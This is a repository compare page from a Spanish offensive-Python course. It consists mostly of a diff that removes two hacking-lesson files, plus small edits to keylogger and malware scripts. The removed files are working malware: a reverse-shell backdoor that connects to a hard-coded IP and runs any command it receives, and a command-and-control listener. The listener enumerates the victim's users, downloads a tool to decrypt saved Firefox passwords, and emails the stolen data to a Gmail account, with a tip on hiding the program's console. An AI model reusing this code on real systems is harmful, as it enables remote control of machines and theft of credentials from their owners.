manuelver/Curso-lenguaje-python
manuelver/Curso-lenguaje-python
1
0
Fork 0
Code Issues Pull Requests Releases Activity

Compare commits

base: manuelver:bcb3977c07eed66e962a47faa38075c9ceabcaa5
Branches Tags
manuelver:main
..
compare: manuelver:213a859a7de1f7d61a1a80822ceec611adb6da03
Branches Tags
manuelver:main

No commits in common. "bcb3977c07eed66e962a47faa38075c9ceabcaa5" and "213a859a7de1f7d61a1a80822ceec611adb6da03" have entirely different histories.
bcb3977c07 ... 213a859a7d

4 changed files with 2 additions and 283 deletions
Show Stats Expand all files Collapse all files

1
python-ofensivo/15_hacking/09_keylogger/keylogger.py
View File

@ -3,6 +3,7 @@
keyloggerPython keyloggerPython
""" """
import dotenv import dotenv
import os import os
import pynput.keyboard import pynput.keyboard

2
python-ofensivo/15_hacking/10_malware/03_malware.py
View File

@ -61,7 +61,7 @@ def send_email(subject, body, sender, recipients, password):
def get_firefox_profiles(username): def get_firefox_profiles(username):
path = f"C:\\Users\\" + username + "\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" path = f"C:\\Users\\{username}\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles"
try: try:
profiles = [profile for profile in os.listdir( profiles = [profile for profile in os.listdir(

43
python-ofensivo/15_hacking/11_c2/backdoor.py
View File

@ -1,43 +0,0 @@
# /usr/bin/env python3
"""
Backdoor
"""
import signal
import socket
import subprocess
def handler(signum, frame):
"""
Manejador de señales
"""
print("\n\n[!] Saliendo...")
exit(1)
signal.signal(signal.SIGINT, handler)
def run_command(command):
"""
Ejecutar comandos
"""
command_output = subprocess.check_output(command, shell=True)
return command_output.decode("cp850")
if __name__ == '__main__':
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.2.105", 443))
while True:
command = s.recv(1024).decode().strip()
command_output = run_command(command)
s.send(b"" + command_output.encode() + b"")
s.close()

239
python-ofensivo/15_hacking/11_c2/listener.py
View File

@ -1,239 +0,0 @@
#!/usr/bin/env python3
"""
Listener para el backdoor
Para hacerlo invisible se puede usar pyinstaller con la opción --noconsole
pyinstaller --onefile --noconsole listener.py
"""
import dotenv
import os
import requests
import signal
import smtplib
import socket
import sys
import tempfile
from email.mime.text import MIMEText
from termcolor import colored
def handler(signum, frame):
"""
Manejador de señales
"""
print(colored("\n\n[!] Saliendo...", "red"))
exit(1)
signal.signal(signal.SIGINT, handler)
class Listener:
def __init__(self, ip, port):
"""
Constructor de la clase
"""
self.options = {
"exit": "Exit C2 program",
"get firefox": "Get Firefox store passwords",
"get users": "List system valid user (gmail)",
"help": "Show this help panel"
}
dotenv.load_dotenv()
self.app_passwd = os.getenv("APP_PASSWD")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((ip, port))
s.listen()
print("\n[+] Listening for incoming connections")
self.client_socket, client_address = s.accept()
print(colored(f"\n[+] {client_address} connected", "green"))
def execute_remotely(self, command):
"""
Ejecuta un comando en la máquina remota
"""
self.client_socket.send(command.encode())
return self.client_socket.recv(2048).decode()
def send_email(self, subject, body, sender, recipients, password):
"""
Envia un email con el reporte de teclas presionadas
"""
msg = MIMEText(body)
msg['Subject'] = subject
msg['From'] = sender
msg['To'] = ', '.join(recipients)
with smtplib.SMTP_SSL('smtp.gmail.com', 465) as smtp_server:
smtp_server.login(sender, password)
smtp_server.sendmail(sender, recipients, msg.as_string())
print(f"[i] Email sent Successfully!\n")
def get_users(self):
"""
Envía los usuarios de la víctima por correo
"""
output_command_get_user = self.execute_remotely("net user")
self.send_email(
"Users lists INFO - C2",
output_command_get_user,
"keyloggerseginf@gmail.com",
["keyloggerseginf@gmail.com"],
self.app_passwd
)
def get_firefox_profiles(self, username):
"""
Consigue el profile de firefox
"""
try:
path = f"C:\\Users\\{username}\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles"
command = f"dir {path}"
output_command_dir = self.execute_remotely(command)
profile_line = next(line for line in output_command_dir.split(
'\n') if "release" in line)
profile_name = profile_line.split()[-1]
return profile_name
except Exception as e:
print(f"\n[!] Error al obtener el profile de Firefox.\nError: {e}")
return None
def get_firefox_passwords(self, username, profiles):
"""
Extrae las contraseñas guardadas en un profile de firefox
"""
firefox_profile_path = f"C:\\Users\\{username}\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\{profiles}"
command = f"python firefox_decrypt.py {firefox_profile_path}"
r = requests.get(
"https://raw.githubusercontent.com/unode/firefox_decrypt/main/firefox_decrypt.py")
self.execute_remotely(f"dir C:\\Users\\{username}\\AppData\\Local\\Temp\\")
print(execute_remotely("dir"))
command_copy = f"echo {r.content} > firefox_decrypt.py"
self.execute_remotely(command_copy)
temp_dir = tempfile.mkdtemp()
os.chdir(temp_dir)
with open("firefox_decrypt.py", "wb") as f:
f.write(r.content)
passwords = execute_remotely(command)
os.remove("firefox_decrypt.py")
return passwords
def show_help(self):
"""
Muestra la ayuda de los métodos especiales del C2
"""
print(colored(
"Programa \"Command & Control\" realizado con mucho cariño.\n",
"blue"
))
for key, value in self.options.items():
print(colored(f"\t{key} \t- {value}", "blue"))
def run(self):
"""
Ejecuta el listener
"""
while True:
command = input(colored("\n>> ", "blue"))
if command == "exit":
self.client_socket.close()
exit(0)
elif command == "get users":
self.get_users()
elif command == "get firefox":
username_str = self.execute_remotely("whoami")
username = username_str.split("\\")[1].strip()
profiles = self.get_firefox_profiles(username)
if not username or not profiles:
sys.exit(
f"\n[!] No ha sido posible obtener el nombre de usuario o el profile válido de firefox")
passwords = self.get_firefox_passwords(username, profiles)
if passwords:
send_email(
"Decrypted Firefox Passwords INFO",
passwords,
"keyloggerseginf@gmail.com",
["keyloggerseginf@gmail.com"],
self.app_passwd
)
else:
print(f"[!] No se han encontrado contraseñas")
elif command == "help":
self.show_help()
else:
command_output = self.execute_remotely(command)
print(colored(command_output, "blue"))
if __name__ == "__main__":
my_listener = Listener("192.168.2.105", 443)
my_listener.run()